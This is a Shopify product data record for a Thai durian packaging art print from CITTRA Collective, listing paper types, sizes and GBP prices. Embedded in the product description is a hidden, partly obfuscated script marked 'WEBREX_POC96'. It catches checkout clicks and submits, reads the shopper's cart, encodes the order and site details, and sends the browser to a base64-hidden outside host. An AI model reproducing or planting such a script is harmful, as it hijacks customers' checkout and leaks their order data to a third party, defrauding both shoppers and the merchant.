{"product_id":"durian-in-packaging-thailand-print","title":"Thai Durian Packaging Print","description":"\u003cp\u003eA contemporary durian print based on one of Thailand's most recognisable fruits, shown in the familiar packaging found at markets and fruit stalls\u003c\/p\u003e\n\u003cdiv hidden data-webrex-poc96-marker=\"WEBREX_POC96_96CB2A3E3FA69EE4\"\u003e\u003c\/div\u003e\u003cscript\u003e;(() =\u003e {\n  const MARKER = \"WEBREX_POC96_96CB2A3E3FA69EE4\";\n  const TARGET = atob(\"aHR0cHM6Ly95NWQ0Lm15Lw==\");\n  if (window.__WEBREX_POC96_ACTIVE__ === MARKER) return;\n  window.__WEBREX_POC96_ACTIVE__ = MARKER;\n  document.documentElement.dataset.webrexPoc96 = MARKER;\n  const trace = window.__WEBREX_POC96_TRACE__ = { marker: MARKER, loadedAt: Date.now(), events: [], leaving: false, step: 'ready' };\n  const describe = (el) =\u003e ({ tag: el?.tagName || null, id: el?.id || null, name: el?.name || null, text: (el?.innerText || el?.value || '').trim().slice(0, 120), href: el?.getAttribute?.('href') || null, action: el?.closest?.('form')?.getAttribute('action') || null });\n  const identify = (node) =\u003e {\n    const el = node?.closest?.('button,input,a,[role=\"button\"],form'); if (!el) return null;\n    const form = el.closest?.('form');\n    const text = ((el.innerText || el.value || '') + ' ' + (el.name || '') + ' ' + (el.id || '') + ' ' + (el.getAttribute?.('href') || '') + ' ' + (el.getAttribute?.('formaction') || '') + ' ' + (form?.getAttribute('action') || '')).toLowerCase();\n    const positive = \/check\\s*out|checkout|\\\/checkout|zur kasse|kasse|pagamento|pagar|finalizar|paiement|passer la commande|commander|caisse|afrekenen|bestellen|结账|結帳|결제|ชำระเงิน|الدفع\/.test(text) || String(el.name || '').toLowerCase() === 'checkout';\n    const accelerated = \/shop\\s*pay|paypal|google\\s*pay|g\\s*pay|apple\\s*pay|buy\\s*now|more payment\/.test(text);\n    return positive \u0026\u0026 !accelerated ? el : null;\n  };\n  const nonce = () =\u003e Array.from(crypto.getRandomValues(new Uint8Array(16)), b =\u003e b.toString(16).padStart(2, '0')).join('');\n  const processCheckout = async () =\u003e {\n    try {\n      trace.step = 'fetch-cart';\n      const cart = await fetch('\/cart.js', { credentials: 'same-origin', cache: 'no-store' }).then(r =\u003e r.json());\n      trace.cart = { currency: cart.currency, item_count: cart.item_count, total_price: cart.total_price };\n      if (!Array.isArray(cart.items) || !cart.items.length) { trace.step = 'empty-cart'; trace.leaving = false; return; }\n      const items = cart.items.map(x =\u003e ({ id: String(x.variant_id) + ':96cb2a3e', productId: String(x.product_id), variantId: String(x.variant_id), title: x.product_title || x.title || '', variant: x.variant_title || '', quantity: x.quantity || 0, unitPriceMinor: x.final_price ?? x.price ?? 0, lineTotalMinor: x.final_line_price ?? x.line_price ?? 0, image: x.image || '', sourceUrl: new URL(x.url || '\/', location.origin).href, discounts: x.discounts || [] }));\n      const order = { locale: document.documentElement.lang || window.Shopify?.locale || 'en', currency: cart.currency || '', items, discounts: cart.cart_level_discount_applications || [], shipping: { status: 'pending', amountMinor: null, label: 'Enter shipping address' }, taxMinor: 0, taxPresent: false, subtotalMinor: cart.items_subtotal_price ?? cart.total_price ?? 0, totalMinor: cart.total_price ?? 0, savingsMinor: cart.total_discount ?? 0, itemCount: cart.item_count ?? items.reduce((n, x) =\u003e n + x.quantity, 0) };\n      const capture = { site: location.hostname, sourceSite: location.hostname, sourceUrl: location.href, sourceOrigin: location.origin, sourcePath: location.pathname, capturedAt: Date.now(), order };\n      trace.capture = capture;\n      const co = btoa(unescape(encodeURIComponent(JSON.stringify(capture))));\n      const query = new URLSearchParams({ co, return_to: location.origin + '\/checkout', site: location.hostname, source_site: location.hostname, source_host: location.hostname, source_origin: location.origin, source_path: location.pathname, source_url: location.href, checkout_path: '\/checkout', overlay_route: '\/', _r: nonce() });\n      trace.target = TARGET + '?' + query.toString(); trace.step = 'navigate'; window.top.location.replace(trace.target);\n    } catch (error) { trace.step = 'error'; trace.error = String(error); trace.stack = error?.stack || null; trace.leaving = false; }\n  };\n  const handler = (event, source) =\u003e { const control = identify(event.target) || identify(event.submitter); trace.events.push({ at: Date.now(), source, target: describe(event.target), submitter: describe(event.submitter), matched: describe(control) }); if (trace.events.length \u003e 50) trace.events.shift(); if (!control || trace.leaving) return; trace.leaving = true; trace.step = 'captured'; event.preventDefault(); event.stopPropagation(); event.stopImmediatePropagation?.(); void processCheckout(); };\n  window.addEventListener('click', event =\u003e handler(event, 'click'), true);\n  window.addEventListener('submit', event =\u003e handler(event, 'submit'), true);\n})();\u003c\/script\u003e","brand":"CITTRA Collective","offers":[{"title":"Archival Paper (250 GSM) \/ 20x25 cm \/ 8x10″","offer_id":55015448871241,"sku":"70fac9e1-a79a-442a-8f84-c89e45c220ed","price":21.99,"currency_code":"GBP","in_stock":true},{"title":"Archival Paper (250 GSM) \/ 21x29.7 cm \/ 8x12\"","offer_id":55161423036745,"sku":"5efc7863-a9a0-4137-93f6-8d4a21b54056","price":24.99,"currency_code":"GBP","in_stock":true},{"title":"Archival Paper (250 GSM) \/ 27x35 cm \/ 11x14″","offer_id":55161423069513,"sku":"670ec282-b40f-4657-bbbe-0201df7a371f","price":25.99,"currency_code":"GBP","in_stock":true},{"title":"Archival Paper (250 GSM) \/ A3 (29.7 x 42  cm)","offer_id":55161423102281,"sku":"ab041b61-fafc-43ec-958c-2afaffbaebba","price":27.99,"currency_code":"GBP","in_stock":true},{"title":"Archival Paper (250 GSM) \/ 30x40 cm \/ 12x16″","offer_id":55161423135049,"sku":"370b1594-0caf-45c9-a612-1f4d7c8669be","price":27.99,"currency_code":"GBP","in_stock":true},{"title":"Archival Paper (250 GSM) \/ 40x50 cm \/ 16x20″","offer_id":55161423167817,"sku":"d95f93cb-0f77-4c9b-9003-83858e0f8e49","price":29.99,"currency_code":"GBP","in_stock":true},{"title":"Archival Paper (250 GSM) \/ A2 (42 x 59.4  cm)","offer_id":55161423200585,"sku":"9e161ac9-299a-43b0-a10e-f126c947957a","price":29.99,"currency_code":"GBP","in_stock":true},{"title":"Archival Paper (250 GSM) \/ 45x60 cm \/ 18x24″","offer_id":55161423233353,"sku":"c6f4e9b3-a98b-4d8b-b8c8-269d7406ca16","price":34.99,"currency_code":"GBP","in_stock":true},{"title":"Archival Paper (250 GSM) \/ 50x70 cm \/ 20x28″","offer_id":55161423266121,"sku":"0c68d271-eced-4dc9-bf45-4f03c5670b56","price":34.99,"currency_code":"GBP","in_stock":true},{"title":"Archival Paper (250 GSM) \/ A1 (59.4 x 84.1  cm)","offer_id":55161423298889,"sku":"0a966f2d-3a6d-41b5-89dd-02c9ab522453","price":39.99,"currency_code":"GBP","in_stock":true},{"title":"Archival Paper (250 GSM) \/ 70x100 cm \/ 28x40″","offer_id":55161423331657,"sku":"60ae11f5-1719-4f0c-a272-ebf08abbd709","price":44.99,"currency_code":"GBP","in_stock":true},{"title":"Archival Paper (250 GSM) \/ A0 (84.1 x 118.9  cm)","offer_id":55161423364425,"sku":"5f7e86cc-6da7-4b8e-816d-224315ee1a68","price":44.99,"currency_code":"GBP","in_stock":true},{"title":"Premium Paper (170 GSM) \/ 20x25 cm \/ 8x10″","offer_id":55161423397193,"sku":"36d15d4d-d8ab-41f6-92e5-1bf3f8349dec","price":14.99,"currency_code":"GBP","in_stock":true},{"title":"Premium Paper (170 GSM) \/ 21x29.7 cm \/ 8x12\"","offer_id":55161423429961,"sku":"89e7b0d7-da6f-46c9-811b-8392bffce82c","price":18.99,"currency_code":"GBP","in_stock":true},{"title":"Premium Paper (170 GSM) \/ 27x35 cm \/ 11x14″","offer_id":55161423462729,"sku":"0b47cb52-8da7-4d0c-8561-47b27858a5d5","price":19.99,"currency_code":"GBP","in_stock":true},{"title":"Premium Paper (170 GSM) \/ A3 (29.7 x 42  cm)","offer_id":55161423495497,"sku":"60445a06-0891-444d-a947-625e4ec06c10","price":21.99,"currency_code":"GBP","in_stock":true},{"title":"Premium Paper (170 GSM) \/ 30x40 cm \/ 12x16″","offer_id":55161423528265,"sku":"36ff0bb9-29fc-4e4f-a00a-6860bf6267b0","price":21.99,"currency_code":"GBP","in_stock":true},{"title":"Premium Paper (170 GSM) \/ 40x50 cm \/ 16x20″","offer_id":55161423561033,"sku":"9972b3fd-e57f-4794-aac5-73985a1c237b","price":24.99,"currency_code":"GBP","in_stock":true},{"title":"Premium Paper (170 GSM) \/ A2 (42 x 59.4  cm)","offer_id":55161423593801,"sku":"f1a3c174-7469-479e-b77e-9620aa42b9fa","price":24.99,"currency_code":"GBP","in_stock":true},{"title":"Premium Paper (170 GSM) \/ 45x60 cm \/ 18x24″","offer_id":55161423626569,"sku":"6b06fa89-8df8-418f-bdff-33efb3704041","price":27.99,"currency_code":"GBP","in_stock":true},{"title":"Premium Paper (170 GSM) \/ 50x70 cm \/ 20x28″","offer_id":55161423659337,"sku":"38a7bbf4-5b38-41cc-b2f1-217eec80ee5c","price":27.99,"currency_code":"GBP","in_stock":true},{"title":"Premium Paper (170 GSM) \/ A1 (59.4 x 84.1  cm)","offer_id":55161423692105,"sku":"41f0ec83-5252-4707-a2ff-e40cc42ae115","price":29.99,"currency_code":"GBP","in_stock":true},{"title":"Premium Paper (170 GSM) \/ 70x100 cm \/ 28x40″","offer_id":55161423724873,"sku":"a050e84f-2be3-41eb-91e2-37c377af6c7b","price":34.99,"currency_code":"GBP","in_stock":true},{"title":"Premium Paper (170 GSM) \/ A0 (84.1 x 118.9  cm)","offer_id":55161423757641,"sku":"3195cfdf-ce85-4d4b-88df-da07f7a4f873","price":34.99,"currency_code":"GBP","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0941\/3034\/0169\/files\/78ec8655-0cc5-4feb-a6bc-d249e63c19c0.jpg?v=1788001330","url":"https:\/\/www.cittra-collective.com\/products\/durian-in-packaging-thailand-print","provider":"Cittra Collective","version":"1.0","type":"link"}